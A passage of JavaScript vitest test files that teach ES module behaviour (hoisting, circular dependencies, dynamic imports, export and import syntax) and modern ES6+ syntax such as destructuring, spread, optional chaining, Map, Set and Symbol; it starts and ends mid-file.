with undefined)', () => { // var is hoisted and initialized to undefined // This is why old circular dependency examples showed 'undefined' let result const accessVarBeforeInit = () => { result = value // undefined, not an error var value = 'initialized' } accessVarBeforeInit() expect(result).toBe(undefined) // var is hoisted as undefined }) }) describe('Circular Dependency Patterns', () => { it('should demonstrate safe circular dependency with deferred access', () => { // Safe pattern: export functions that access values at call time const moduleA = { value: null, getValue: () => moduleA.value, init: () => { moduleA.value = 'A initialized' } } const moduleB = { value: null, getValue: () => moduleB.value, getAValue: () => moduleA.getValue(), // Deferred access init: () => { moduleB.value = 'B initialized' } } // Simulate circular initialization // B tries to access A.value before A.init() runs expect(moduleB.getAValue()).toBe(null) // A not initialized yet moduleA.init() expect(moduleB.getAValue()).toBe('A initialized') // Now it works moduleB.init() expect(moduleB.getValue()).toBe('B initialized') }) it('should show how to restructure to avoid circular deps', () => { // Instead of A importing B and B importing A, // create a shared module C that both import const sharedModule = { sharedConfig: { apiUrl: 'https://api.example.com' }, sharedUtil: (x) => x.toUpperCase() } const moduleA = { config: sharedModule.sharedConfig, formatName: (name) => sharedModule.sharedUtil(name) } const moduleB = { config: sharedModule.sharedConfig, formatTitle: (title) => sharedModule.sharedUtil(title) } // No circular dependency - both depend on shared module expect(moduleA.formatName('alice')).toBe('ALICE') expect(moduleB.formatTitle('hello')).toBe('HELLO') expect(moduleA.config).toBe(moduleB.config) // Same reference }) }) }) // =========================================== // Part 4: Module Singleton Behavior // =========================================== describe('Part 4: Module Singleton Behavior', () => { describe('Module code executes exactly once', () => { it('should only run initialization code once', () => { let initCount = 0 // Simulating a module that runs initialization code const createSingletonModule = (() => { initCount++ // This runs once when module loads return { getValue: () => 'module value', getInitCount: () => initCount } })() // Multiple "imports" all get the same instance const import1 = createSingletonModule const import2 = createSingletonModule const import3 = createSingletonModule expect(initCount).toBe(1) // Only ran once expect(import1).toBe(import2) expect(import2).toBe(import3) }) it('should share state across all importers', () => { const cacheModule = (() => { const cache = new Map() console.log('Cache module initialized') // Runs once return { set: (key, value) => cache.set(key, value), get: (key) => cache.get(key), size: () => cache.size } })() // Different "files" using the cache // file1.js cacheModule.set('user', { id: 1 }) // file2.js - sees the same cache expect(cacheModule.get('user')).toEqual({ id: 1 }) // file3.js - also same cache cacheModule.set('token', 'abc123') expect(cacheModule.size()).toBe(2) }) it('should maintain singleton even with different import styles', () => { // Whether you use named imports, default import, or namespace import, // you get the same module instance const mathModule = (() => { const moduleId = Math.random() // Generated once return { moduleId, PI: 3.14159, add: (a, b) => a + b, default: function Calculator() { this.result = 0 } } })() // import { add, PI } from './math.js' const { add, PI } = mathModule // import * as math from './math.js' const math = mathModule // import Calculator from './math.js' const Calculator = mathModule.default // All reference the same module expect(math.PI).toBe(PI) expect(math.add).toBe(add) expect(math.moduleId).toBe(mathModule.moduleId) }) }) }) // =========================================== // Part 5: Dynamic Imports // =========================================== describe('Part 5: Dynamic Imports', () => { describe('import() returns a Promise', () => { it('should resolve to module namespace object', async () => { // Simulating dynamic import behavior const mockModule = { namedExport: 'named value', anotherExport: 42, default: function DefaultExport() { return 'default' } } const dynamicImport = () => Promise.resolve(mockModule) const module = await dynamicImport() expect(module.namedExport).toBe('named value') expect(module.anotherExport).toBe(42) expect(module.default()).toBe('default') }) it('should allow destructuring named exports', async () => { const mockDateModule = { formatDate: (d) => d.toISOString(), parseDate: (s) => new Date(s) } const dynamicImport = () => Promise.resolve(mockDateModule) // Destructure directly from await const { formatDate, parseDate } = await dynamicImport() expect(typeof formatDate).toBe('function') expect(typeof parseDate).toBe('function') }) it('should access default export via .default property', async () => { const mockModule = { default: class Logger { log(msg) { return `[LOG] ${msg}` } } } const dynamicImport = () => Promise.resolve(mockModule) // Method 1: Destructure with rename const { default: Logger } = await dynamicImport() const logger1 = new Logger() expect(logger1.log('test')).toBe('[LOG] test') // Method 2: Access .default property const module = await dynamicImport() const Logger2 = module.default const logger2 = new Logger2() expect(logger2.log('hello')).toBe('[LOG] hello') }) }) describe('Dynamic Import Use Cases', () => { it('should enable conditional module loading', async () => { const modules = { light: { theme: 'light', bg: '#fff', text: '#000' }, dark: { theme: 'dark', bg: '#000', text: '#fff' } } async function loadTheme(themeName) { // Simulating: const theme = await import(`./themes/${themeName}.js`) return Promise.resolve(modules[themeName]) } const lightTheme = await loadTheme('light') expect(lightTheme.bg).toBe('#fff') const darkTheme = await loadTheme('dark') expect(darkTheme.bg).toBe('#000') }) it('should enable route-based code splitting', async () => { const pageModules = { home: { default: () => 'Home Page Content' }, about: { default: () => 'About Page Content' }, contact: { default: () => 'Contact Page Content' } } async function loadPage(pageName) { // Simulating route-based dynamic import const pageModule = await Promise.resolve(pageModules[pageName]) return pageModule.default } const HomePage = await loadPage('home') expect(HomePage()).toBe('Home Page Content') const AboutPage = await loadPage('about') expect(AboutPage()).toBe('About Page Content') }) it('should enable lazy loading of heavy features', async () => { let chartLibraryLoaded = false const heavyChartLibrary = { Chart: class { constructor(data) { chartLibraryLoaded = true this.data = data } render() { return `Chart with ${this.data.length} points` } } } async function showChart(data) { // Only load chart library when actually needed const { Chart } = await Promise.resolve(heavyChartLibrary) const chart = new Chart(data) return chart.render() } expect(chartLibraryLoaded).toBe(false) // Not loaded yet const result = await showChart([1, 2, 3, 4, 5]) expect(chartLibraryLoaded).toBe(true) // Now loaded expect(result).toBe('Chart with 5 points') }) it('should work with Promise.all for parallel loading', async () => { const modules = { header: { render: () => '<header>Header</header>' }, footer: { render: () => '<footer>Footer</footer>' }, sidebar: { render: () => '<aside>Sidebar</aside>' } } async function loadComponents() { const [header, footer, sidebar] = await Promise.all([ Promise.resolve(modules.header), Promise.resolve(modules.footer), Promise.resolve(modules.sidebar) ]) return { header, footer, sidebar } } const components = await loadComponents() expect(components.header.render()).toBe('<header>Header</header>') expect(components.footer.render()).toBe('<footer>Footer</footer>') expect(components.sidebar.render()).toBe('<aside>Sidebar</aside>') }) }) describe('Error Handling with Dynamic Imports', () => { it('should handle module not found errors', async () => { const loadModule = (name) => { if (name === 'nonexistent') { return Promise.reject(new Error('Module not found')) } return Promise.resolve({ value: 'found' }) } // Successful load const mod = await loadModule('existing') expect(mod.value).toBe('found') // Failed load await expect(loadModule('nonexistent')).rejects.toThrow('Module not found') }) it('should use try-catch for error handling', async () => { const loadModule = () => Promise.reject(new Error('Network error')) let errorHandled = false let fallbackUsed = false try { await loadModule() } catch (error) { errorHandled = true // Use fallback fallbackUsed = true } expect(errorHandled).toBe(true) expect(fallbackUsed).toBe(true) }) }) }) // =========================================== // Part 6: Export and Import Syntax Variations // =========================================== describe('Part 6: Export and Import Syntax Variations', () => { describe('Named Exports', () => { it('should support inline named exports', () => { // export const PI = 3.14159 // export function square(x) { return x * x } // export class Circle { } const moduleExports = {} moduleExports.PI = 3.14159 moduleExports.square = function(x) { return x * x } moduleExports.Circle = class { constructor(radius) { this.radius = radius } area() { return moduleExports.PI * this.radius ** 2 } } expect(moduleExports.PI).toBe(3.14159) expect(moduleExports.square(4)).toBe(16) const circle = new moduleExports.Circle(5) expect(circle.area()).toBeCloseTo(78.54, 1) }) it('should support grouped exports at bottom', () => { // const PI = 3.14159 // function square(x) { return x * x } // export { PI, square } const PI = 3.14159 function square(x) { return x * x } const exports = { PI, square } expect(exports.PI).toBe(3.14159) expect(exports.square(5)).toBe(25) }) it('should support renaming exports with as', () => { // function internalHelper() { } // export { internalHelper as helper } function internalHelper() { return 'helped' } function _privateUtil() { return 'util' } const exports = { helper: internalHelper, publicUtil: _privateUtil } expect(exports.helper()).toBe('helped') expect(exports.publicUtil()).toBe('util') expect(exports.internalHelper).toBe(undefined) // Not exported under original name }) }) describe('Default Exports', () => { it('should support default export of function', () => { // export default function greet(name) { } function greet(name) { return `Hello, ${name}!` } const moduleExports = { default: greet } // import greet from './greet.js' const importedGreet = moduleExports.default expect(importedGreet('World')).toBe('Hello, World!') }) it('should support default export of class', () => { // export default class User { } class User { constructor(name) { this.name = name } greet() { return `Hi, I'm ${this.name}` } } const moduleExports = { default: User } // import User from './user.js' const ImportedUser = moduleExports.default const user = new ImportedUser('Alice') expect(user.greet()).toBe("Hi, I'm Alice") }) it('should support default export of object/value', () => { // export default { name: 'Config', version: '1.0' } const moduleExports = { default: { name: 'Config', version: '1.0.0', debug: false } } // import config from './config.js' const config = moduleExports.default expect(config.name).toBe('Config') expect(config.version).toBe('1.0.0') }) }) describe('Mixed Named and Default Exports', () => { it('should support both default and named exports', () => { // export default function React() { } // export function useState() { } // export function useEffect() { } function React() { return 'React' } function useState(initial) { return [initial, () => {}] } function useEffect(fn) { fn() } const moduleExports = { default: React, useState, useEffect } // import React, { useState, useEffect } from 'react' const ImportedReact = moduleExports.default const { useState: importedUseState, useEffect: importedUseEffect } = moduleExports expect(ImportedReact()).toBe('React') expect(importedUseState(0)).toEqual([0, expect.any(Function)]) }) }) describe('Import Variations', () => { it('should support named imports with exact names', () => { // import { PI, square } from './math.js' const mathModule = { PI: 3.14159, square: (x) => x * x, cube: (x) => x * x * x } const { PI, square } = mathModule expect(PI).toBe(3.14159) expect(square(3)).toBe(9) }) it('should support renaming imports with as', () => { // import { formatDate as formatDateISO } from './date.js' const dateModule = { formatDate: (d) => d.toISOString() } const dateUSModule = { formatDate: (d) => d.toLocaleDateString('en-US') } const { formatDate: formatDateISO } = dateModule const { formatDate: formatDateUS } = dateUSModule const date = new Date('2024-01-15') expect(formatDateISO(date)).toContain('2024-01-15') expect(typeof formatDateUS(date)).toBe('string') }) it('should support namespace imports (import * as)', () => { // import * as math from './math.js' const mathModule = { PI: 3.14159, E: 2.71828, add: (a, b) => a + b, multiply: (a, b) => a * b, default: { name: 'Math Utils' } } // Namespace import gets all exports as properties const math = mathModule expect(math.PI).toBe(3.14159) expect(math.E).toBe(2.71828) expect(math.add(2, 3)).toBe(5) expect(math.multiply(4, 5)).toBe(20) expect(math.default.name).toBe('Math Utils') // default is also accessible }) it('should support side-effect only imports', () => { // import './polyfills.js' // import './analytics.js' let polyfillsLoaded = false let analyticsInitialized = false // Simulating side-effect modules const loadPolyfills = () => { polyfillsLoaded = true } const initAnalytics = () => { analyticsInitialized = true } loadPolyfills() initAnalytics() expect(polyfillsLoaded).toBe(true) expect(analyticsInitialized).toBe(true) }) }) describe('Re-exports (Barrel Files)', () => { it('should support re-exporting named exports', () => { // date.js const dateModule = { formatDate: (d) => d.toISOString(), parseDate: (s) => new Date(s) } // currency.js const currencyModule = { formatCurrency: (n) => `$${n.toFixed(2)}` } // utils/index.js (barrel file) // export { formatDate, parseDate } from './date.js' // export { formatCurrency } from './currency.js' const utilsBarrel = { ...dateModule, ...currencyModule } // Consumer imports from barrel const { formatDate, formatCurrency } = utilsBarrel expect(formatCurrency(19.99)).toBe('$19.99') expect(typeof formatDate(new Date())).toBe('string') }) it('should support re-exporting default as named', () => { // logger.js // export default class Logger { } const loggerModule = { default: class Logger { log(msg) { return msg } } } // utils/index.js // export { default as Logger } from './logger.js' const utilsBarrel = { Logger: loggerModule.default } const { Logger } = utilsBarrel const logger = new Logger() expect(logger.log('test')).toBe('test') }) it('should support re-exporting all (export *)', () => { // math.js exports multiple functions const mathModule = { add: (a, b) => a + b, subtract: (a, b) => a - b, multiply: (a, b) => a * b } // utils/index.js // export * from './math.js' const utilsBarrel = { ...mathModule } expect(utilsBarrel.add(1, 2)).toBe(3) expect(utilsBarrel.subtract(5, 3)).toBe(2) expect(utilsBarrel.multiply(4, 5)).toBe(20) }) }) }) // =========================================== // Part 7: Module Characteristics // =========================================== describe('Part 7: Module Characteristics', () => { describe('Automatic Strict Mode', () => { it('should demonstrate strict mode behaviors', () => { // ES Modules are always in strict mode // Assigning to undeclared variable throws expect(() => { 'use strict' undeclaredVar = 'oops' }).toThrow(ReferenceError) }) it('should prevent duplicate parameters in strict mode', () => { // In strict mode, duplicate parameter names are syntax errors // This would be caught at parse time in a real module: // function f(a, a) { } // SyntaxError // We can test that strict mode is enforced expect(() => { 'use strict' eval('function f(a, a) {}') }).toThrow(SyntaxError) }) it('should make this undefined in functions called without context', () => { 'use strict' function getThis() { return this } expect(getThis()).toBe(undefined) }) }) describe('Module Scope (not global)', () => { it('should keep module variables private by default', () => { // In a module, top-level variables are scoped to the module const createModule = () => { const privateValue = 'secret' const publicValue = 'visible' return { publicValue, getPrivate: () => privateValue } } const mod = createModule() expect(mod.publicValue).toBe('visible') expect(mod.getPrivate()).toBe('secret') expect(mod.privateValue).toBe(undefined) // Not exposed }) it('should not leak var to global scope in modules', () => { // In regular scripts, var leaks to window // In modules, var is module-scoped const createModule = () => { var moduleVar = 'module scoped' return { getVar: () => moduleVar } } const mod = createModule() expect(mod.getVar()).toBe('module scoped') expect(typeof moduleVar).toBe('undefined') // Not in outer scope }) }) describe('Top-level this is undefined', () => { it('should have undefined this at module top level', () => { // In ES Modules, top-level this is undefined // (not window or global) // Regular function in strict mode has undefined this when called without context function getThisInStrictMode() { 'use strict' return this } // Called without context, this is undefined (like module top-level) expect(getThisInStrictMode()).toBe(undefined) // Arrow functions capture this from enclosing scope // In a real ES module, this would be undefined at the top level const arrowThis = (() => this)() // Note: In test environment, the outer `this` may not be undefined // but in a real ES module file, top-level `this` IS undefined // This test demonstrates the concept via strict mode function }) }) describe('Import Hoisting', () => { it('should demonstrate that imports are hoisted', () => { // In ES Modules, import declarations are hoisted // The imported bindings are available throughout the module // This would work in a real module: // console.log(helper()) // Works! Imports are hoisted // import { helper } from './utils.js' // We simulate by showing the concept const moduleCode = () => { // Imports are processed first, before any code runs const imports = { helper: () => 'helped' } // Then code runs, with imports already available const result = imports.helper() // Can use before "import line" return result } expect(moduleCode()).toBe('helped') }) }) }) // =========================================== // Part 8: Common Mistakes // =========================================== describe('Part 8: Common Mistakes', () => { describe('Mistake #1: Named vs Default Import Confusion', () => { it('should demonstrate the difference between named and default imports', () => { const moduleWithBoth = { default: function Logger() { return 'default' }, format: () => 'named format' } // CORRECT: No braces for default // import Logger from './logger.js' const Logger = moduleWithBoth.default // CORRECT: Braces for named // import { format } from './logger.js' const { format } = moduleWithBoth expect(Logger()).toBe('default') expect(format()).toBe('named format') // WRONG would be: // import { Logger } from './logger.js' // Error: no named export 'Logger' expect(moduleWithBoth.Logger).toBe(undefined) // Not a named export! }) it('should show the curly brace rule', () => { /* export default X → import X from '...' (no braces) export { Y } → import { Y } from '...' (braces) export { Z as W } → import { W } from '...' (braces) */ const modA = { default: 'X value' } const modB = { Y: 'Y value' } const modC = { W: 'Z exported as W' } const X = modA.default // No braces const { Y } = modB // Braces const { W } = modC // Braces (renamed) expect(X).toBe('X value') expect(Y).toBe('Y value') expect(W).toBe('Z exported as W') }) }) describe('Mistake #2: Missing File Extensions', () => { it('should demonstrate that extensions are required', () => { // In browsers and Node.js ESM, file extensions are required const validPaths = [ './utils.js', // Correct './components/Button.js', // Correct '../helpers.mjs', // Correct ] const invalidPaths = [ './utils', // Missing extension - 404 in browser './components/Button', // Missing extension - ERR_MODULE_NOT_FOUND ] // All valid paths have extensions validPaths.forEach(path => { expect(path).toMatch(/\.(js|mjs|cjs)$/) }) // Invalid paths lack extensions invalidPaths.forEach(path => { expect(path).not.toMatch(/\.(js|mjs|cjs)$/) }) }) }) describe('Mistake #3: Using require in ESM', () => { it('should show that require is not available in ESM', () => { // In ESM files, require() is not defined // This would throw: ReferenceError: require is not defined const esmEnvironment = { require: undefined, // Not available import: () => Promise.resolve({}), // Use this instead importMeta: { url: 'file:///path/to/module.js' } } expect(esmEnvironment.require).toBe(undefined) expect(typeof esmEnvironment.import).toBe('function') }) it('should show createRequire workaround', () => { // If you need require in ESM (for CommonJS packages): // import { createRequire } from 'module' // const require = createRequire(import.meta.url) // Simulating createRequire const createRequire = (url) => { return (moduleName) => { // This would actually load CommonJS modules return { loaded: moduleName, from: url } } } const require = createRequire('file:///app/main.js') const legacyModule = require('some-commonjs-package') expect(legacyModule.loaded).toBe('some-commonjs-package') }) }) }) // =========================================== // Part 9: Test Your Knowledge (from docs) // =========================================== describe('Part 9: Test Your Knowledge', () => { describe('Q1: Static vs Dynamic - Why tree-shaking works', () => { it('should show ESM imports are statically analyzable', () => { // ESM imports are declarations, not function calls // Bundlers can see exactly what's imported without running code const moduleExports = { add: (a, b) => a + b, subtract: (a, b) => a - b, multiply: (a, b) => a * b, divide: (a, b) => a / b } // Static import - bundler knows only 'add' is used const { add } = moduleExports // The other functions can be tree-shaken out const usedExports = ['add'] const unusedExports = ['subtract', 'multiply', 'divide'] expect(usedExports).toContain('add') expect(unusedExports).not.toContain('add') }) }) describe('Q2: Live bindings vs copies', () => { it('should demonstrate the key difference', () => { // ESM: live binding (reference) const esmModule = { count: 0, increment() { this.count++ } } expect(esmModule.count).toBe(0) esmModule.increment() expect(esmModule.count).toBe(1) // Live - sees the change // CommonJS simulation: value copy let cjsCount = 0 const cjsExport = { count: cjsCount, // Copy at export time increment() { cjsCount++ } } expect(cjsExport.count).toBe(0) cjsExport.increment() expect(cjsExport.count).toBe(0) // Still 0 - it's a copy }) }) describe('Q3: When to use dynamic imports', () => { it('should use dynamic imports for conditional loading', async () => { const features = { charts: { render: () => 'chart' }, maps: { render: () => 'map' } } async function loadFeature(name) { // Only loads when called, not at module load time return Promise.resolve(features[name]) } // Feature loaded on demand const charts = await loadFeature('charts') expect(charts.render()).toBe('chart') }) }) describe('Q4: Why extensions are required', () => { it('should explain browser vs Node resolution', () => { // Browsers make HTTP requests - can't try multiple extensions // Node ESM matches browser behavior for consistency const browserRequest = (path) => { // Browser requests exactly what you ask for // Check for common JS extensions const hasExtension = /\.(js|mjs|cjs|json)$/.test(path) if (!hasExtension) { return { status: 404, error: 'Not Found' } } return { status: 200, content: 'module code' } } expect(browserRequest('./utils').status).toBe(404) expect(browserRequest('./utils.js').status).toBe(200) expect(browserRequest('./module.mjs').status).toBe(200) }) }) describe('Q5: What happens with circular dependencies', () => { it('should show TDZ error with const/let', () => { // With const/let, accessing before init throws ReferenceError expect(() => { const fn = () => { console.log(x) // TDZ const x = 1 } fn() }).toThrow(ReferenceError) }) it('should show deferred access pattern works', () => { const moduleA = { value: null } const moduleB = { getValue: () => moduleA.value // Deferred - reads at call time } expect(moduleB.getValue()).toBe(null) // A not initialized moduleA.value = 'initialized' expect(moduleB.getValue()).toBe('initialized') // Works now }) }) }) }) ================================================ FILE: tests/advanced-topics/modern-js-syntax/modern-js-syntax.test.js ================================================ import { describe, it, expect } from 'vitest' describe('Modern JavaScript Syntax (ES6+)', () => { // =========================================== // ARROW FUNCTIONS // =========================================== describe('Arrow Functions', () => { it('should have concise syntax for single expressions', () => { const add = (a, b) => a + b const square = x => x * x const greet = () => 'Hello!' expect(add(2, 3)).toBe(5) expect(square(4)).toBe(16) expect(greet()).toBe('Hello!') }) it('should require explicit return in block body', () => { const withBlock = (a, b) => { return a + b } const withoutReturn = (a, b) => { a + b } // Returns undefined expect(withBlock(2, 3)).toBe(5) expect(withoutReturn(2, 3)).toBe(undefined) }) it('should require parentheses when returning object literal', () => { // Without parentheses, braces are interpreted as function body (labeled statement) const wrong = name => { name: name } // This is a labeled statement, returns undefined const correct = name => ({ name: name }) // Parentheses make it an object literal expect(wrong('Alice')).toBe(undefined) expect(correct('Alice')).toEqual({ name: 'Alice' }) // Note: Adding a comma like { name: name, active: true } would be a SyntaxError }) it('should inherit this from enclosing scope', () => { const obj = { value: 42, getValueArrow: function() { const arrow = () => this.value return arrow() }, getValueRegular: function() { // In strict mode, 'this' inside a plain function call is undefined // This would throw an error if we try to access this.value const regular = function() { return this } return regular() } } expect(obj.getValueArrow()).toBe(42) // Arrow function correctly inherits 'this' from getValueArrow // Regular function loses 'this' binding (undefined in strict mode) expect(obj.getValueRegular()).toBe(undefined) }) }) // =========================================== // DESTRUCTURING // =========================================== describe('Destructuring', () => { describe('Array Destructuring', () => { it('should extract values by position', () => { const colors = ['red', 'green', 'blue'] const [first, second, third] = colors expect(first).toBe('red') expect(second).toBe('green') expect(third).toBe('blue') }) it('should skip elements with empty slots', () => { const numbers = [1, 2, 3, 4, 5] const [first, , third, , fifth] = numbers expect(first).toBe(1) expect(third).toBe(3) expect(fifth).toBe(5) }) it('should support default values', () => { const [a, b, c = 'default'] = [1, 2] expect(a).toBe(1) expect(b).toBe(2) expect(c).toBe('default') }) it('should support rest pattern', () => { const [head, ...tail] = [1, 2, 3, 4, 5] expect(head).toBe(1) expect(tail).toEqual([2, 3, 4, 5]) }) it('should swap variables without temp', () => { let x = 1 let y = 2 ;[x, y] = [y, x] expect(x).toBe(2) expect(y).toBe(1) }) }) describe('Object Destructuring', () => { it('should extract properties by name', () => { const user = { name: 'Alice', age: 25 } const { name, age } = user expect(name).toBe('Alice') expect(age).toBe(25) }) it('should support renaming', () => { const user = { name: 'Alice', age: 25 } const { name: userName, age: userAge } = user expect(userName).toBe('Alice') expect(userAge).toBe(25) }) it('should support default values', () => { const user = { name: 'Alice' } const { name, role = 'guest' } = user expect(name).toBe('Alice') expect(role).toBe('guest') }) it('should support nested destructuring', () => { const user = { name: 'Alice', address: { city: 'Portland', country: 'USA' } } const { address: { city } } = user expect(city).toBe('Portland') }) it('should support rest pattern', () => { const user = { id: 1, name: 'Alice', age: 25 } const { id, ...rest } = user expect(id).toBe(1) expect(rest).toEqual({ name: 'Alice', age: 25 }) }) }) describe('Function Parameter Destructuring', () => { it('should destructure parameters', () => { function greet({ name, greeting = 'Hello' }) { return `${greeting}, ${name}!` } expect(greet({ name: 'Alice' })).toBe('Hello, Alice!') expect(greet({ name: 'Bob', greeting: 'Hi' })).toBe('Hi, Bob!') }) it('should handle empty parameter with default', () => { function greet({ name = 'Guest' } = {}) { return `Hello, ${name}!` } expect(greet()).toBe('Hello, Guest!') expect(greet({})).toBe('Hello, Guest!') expect(greet({ name: 'Alice' })).toBe('Hello, Alice!') }) }) }) // =========================================== // SPREAD AND REST OPERATORS // =========================================== describe('Spread and Rest Operators', () => { describe('Spread Operator', () => { it('should spread arrays', () => { const arr1 = [1, 2, 3] const arr2 = [4, 5, 6] expect([...arr1, ...arr2]).toEqual([1, 2, 3, 4, 5, 6]) expect([0, ...arr1, 4]).toEqual([0, 1, 2, 3, 4]) }) it('should copy arrays (shallow)', () => { const original = [1, 2, 3] const copy = [...original] expect(copy).toEqual(original) expect(copy).not.toBe(original) }) it('should spread objects', () => { const defaults = { theme: 'light', fontSize: 14 } const userPrefs = { theme: 'dark' } const merged = { ...defaults, ...userPrefs } expect(merged).toEqual({ theme: 'dark', fontSize: 14 }) }) it('should spread function arguments', () => { const numbers = [1, 5, 3, 9, 2] expect(Math.max(...numbers)).toBe(9) expect(Math.min(...numbers)).toBe(1) }) it('should create shallow copies only', () => { const original = { nested: { value: 1 } } const copy = { ...original } copy.nested.value = 2 // Both are affected because nested object is shared expect(original.nested.value).toBe(2) expect(copy.nested.value).toBe(2) }) }) describe('Rest Parameters', () => { it('should collect remaining arguments', () => { function sum(...numbers) { return numbers.reduce((total, n) => total + n, 0) } expect(sum(1, 2, 3)).toBe(6) expect(sum(1, 2, 3, 4, 5)).toBe(15) expect(sum()).toBe(0) }) it('should work with named parameters', () => { function log(first, ...rest) { return { first, rest } } expect(log('a', 'b', 'c', 'd')).toEqual({ first: 'a', rest: ['b', 'c', 'd'] }) }) }) }) // =========================================== // TEMPLATE LITERALS // =========================================== describe('Template Literals', () => { it('should interpolate expressions', () => { const name = 'Alice' const age = 25 expect(`Hello, ${name}!`).toBe('Hello, Alice!') expect(`Age: ${age}`).toBe('Age: 25') expect(`Next year: ${age + 1}`).toBe('Next year: 26') }) it('should support multi-line strings', () => { const multiLine = `line 1 line 2 line 3` expect(multiLine).toContain('line 1') expect(multiLine).toContain('\n') expect(multiLine.split('\n').length).toBe(3) }) it('should work with tagged templates', () => { function upper(strings, ...values) { return strings.reduce((result, str, i) => { const value = values[i] ? values[i].toString().toUpperCase() : '' return result + str + value }, '') } const name = 'alice' expect(upper`Hello, ${name}!`).toBe('Hello, ALICE!') }) }) // =========================================== // OPTIONAL CHAINING // =========================================== describe('Optional Chaining', () => { it('should safely access nested properties', () => { const user = { name: 'Alice' } const userWithAddress = { name: 'Bob', address: { city: 'Portland' } } expect(user?.address?.city).toBe(undefined) expect(userWithAddress?.address?.city).toBe('Portland') }) it('should short-circuit on null/undefined', () => { const user = null expect(user?.name).toBe(undefined) expect(user?.address?.city).toBe(undefined) }) it('should work with bracket notation', () => { const user = { profile: { name: 'Alice' } } const prop = 'profile' expect(user?.[prop]?.name).toBe('Alice') expect(user?.['nonexistent']?.name).toBe(undefined) }) it('should work with function calls', () => { const obj = { greet: () => 'Hello!' } expect(obj.greet?.()).toBe('Hello!') expect(obj.nonexistent?.()).toBe(undefined) }) }) // =========================================== // NULLISH COALESCING // =========================================== describe('Nullish Coalescing', () => { it('should return right side only for null/undefined', () => { expect(null ?? 'default').toBe('default') expect(undefined ?? 'default').toBe('default') expect(0 ?? 'default').toBe(0) expect('' ?? 'default').toBe('') expect(false ?? 'default').toBe(false) expect(NaN ?? 'default').toBeNaN() }) it('should differ from logical OR', () => { // || returns right side for any falsy value expect(0 || 'default').toBe('default') expect('' || 'default').toBe('default') expect(false || 'default').toBe('default') // ?? only returns right side for null/undefined expect(0 ?? 'default').toBe(0) expect('' ?? 'default').toBe('') expect(false ?? 'default').toBe(false) }) it('should combine with optional chaining', () => { const user = null expect(user?.name ?? 'Anonymous').toBe('Anonymous') const userWithName = { name: 'Alice' } expect(userWithName?.name ?? 'Anonymous').toBe('Alice') }) }) // =========================================== // LOGICAL ASSIGNMENT OPERATORS // =========================================== describe('Logical Assignment Operators', () => { it('should support nullish coalescing assignment (??=)', () => { let a = null let b = 'value' let c = 0 a ??= 'default' b ??= 'default' c ??= 'default' expect(a).toBe('default') expect(b).toBe('value') expect(c).toBe(0) }) it('should support logical OR assignment (||=)', () => { let a = null let b = 'value' let c = 0 a ||= 'default' b ||= 'default' c ||= 'default' expect(a).toBe('default') expect(b).toBe('value') expect(c).toBe('default') // 0 is falsy }) it('should support logical AND assignment (&&=)', () => { let a = null let b = 'value' a &&= 'updated' b &&= 'updated' expect(a).toBe(null) // null is falsy, so no assignment expect(b).toBe('updated') // 'value' is truthy, so assign }) }) // =========================================== // DEFAULT PARAMETERS // =========================================== describe('Default Parameters', () => { it('should provide default values', () => { function greet(name = 'Guest', greeting = 'Hello') { return `${greeting}, ${name}!` } expect(greet()).toBe('Hello, Guest!') expect(greet('Alice')).toBe('Hello, Alice!') expect(greet('Bob', 'Hi')).toBe('Hi, Bob!') }) it('should only trigger on undefined, not null', () => { function example(value = 'default') { return value } expect(example(undefined)).toBe('default') expect(example(null)).toBe(null) expect(example(0)).toBe(0) expect(example('')).toBe('') expect(example(false)).toBe(false) }) it('should allow earlier parameters as defaults', () => { function createRect(width, height = width) { return { width, height } } expect(createRect(10)).toEqual({ width: 10, height: 10 }) expect(createRect(10, 20)).toEqual({ width: 10, height: 20 }) }) it('should evaluate default expressions each time', () => { let counter = 0 function getDefault() { return ++counter } function example(value = getDefault()) { return value } expect(example()).toBe(1) expect(example()).toBe(2) expect(example()).toBe(3) expect(example(100)).toBe(100) // getDefault not called expect(example()).toBe(4) }) }) // =========================================== // ENHANCED OBJECT LITERALS // =========================================== describe('Enhanced Object Literals', () => { it('should support property shorthand', () => { const name = 'Alice' const age = 25 const user = { name, age } expect(user).toEqual({ name: 'Alice', age: 25 }) }) it('should support method shorthand', () => { const calculator = { add(a, b) { return a + b }, subtract(a, b) { return a - b } } expect(calculator.add(5, 3)).toBe(8) expect(calculator.subtract(5, 3)).toBe(2) }) it('should support computed property names', () => { const key = 'dynamicKey' const index = 0 const obj = { [key]: 'value', [`item_${index}`]: 'first' } expect(obj.dynamicKey).toBe('value') expect(obj.item_0).toBe('first') }) }) // =========================================== // MAP, SET, AND SYMBOL // =========================================== describe('Map', () => { it('should store key-value pairs with any key type', () => { const map = new Map() const objKey = { id: 1 } map.set('string', 'value1') map.set(42, 'value2') map.set(objKey, 'value3') expect(map.get('string')).toBe('value1') expect(map.get(42)).toBe('value2') expect(map.get(objKey)).toBe('value3') expect(map.size).toBe(3) }) it('should maintain insertion order', () => { const map = new Map([['c', 3], ['a', 1], ['b', 2]]) const keys = [...map.keys()] expect(keys).toEqual(['c', 'a', 'b']) }) it('should be iterable', () => { const map = new Map([['a', 1], ['b', 2]]) const entries = [] for (const [key, value] of map) { entries.push([key, value]) } expect(entries).toEqual([['a', 1], ['b', 2]]) }) }) describe('Set', () => { it('should store unique values', () => { const set = new Set([1, 2, 2, 3, 3, 3]) expect(set.size).toBe(3) expect([...set]).toEqual([1, 2, 3]) }) it('should remove duplicates from arrays', () => { const numbers = [1, 2, 2, 3, 3, 3, 4, 4, 4, 4] const unique = [...new Set(numbers)] expect(unique).toEqual([1, 2, 3, 4]) }) it('should support set operations', () => { const a = new Set([1, 2, 3]) const b = new Set([2, 3, 4]) const union = new Set([...a, ...b]) const intersection = [...a].filter(x => b.has(x)) const difference = [...a].filter(x => !b.has(x)) expect([...union]).toEqual([1, 2, 3, 4]) expect(intersection).toEqual([2, 3]) expect(difference).toEqual([1]) }) }) describe('Symbol', () => { it('should create unique values', () => { const sym1 = Symbol('description') const sym2 = Symbol('description') expect(sym1).not.toBe(sym2) }) it('should work as object keys', () => { const ID = Symbol('id') const user = { name: 'Alice', [ID]: 12345 } expect(user[ID]).toBe(12345) expect(Object.keys(user)).toEqual(['name']) // Symbol not included }) it('should support global registry with Symbol.for', () => { const sym1 = Symbol.for('shared') const sym2 = Symbol.for('shared') expect(sym1).toBe(sym2) expect(Symbol.keyFor(sym1)).toBe('shared') }) }) // =========================================== // FOR...OF LOOP // =========================================== describe('for...of Loop', () => { it('should iterate over array values', () => { const arr = ['a', 'b', 'c'] const values = [] for (const value of arr) 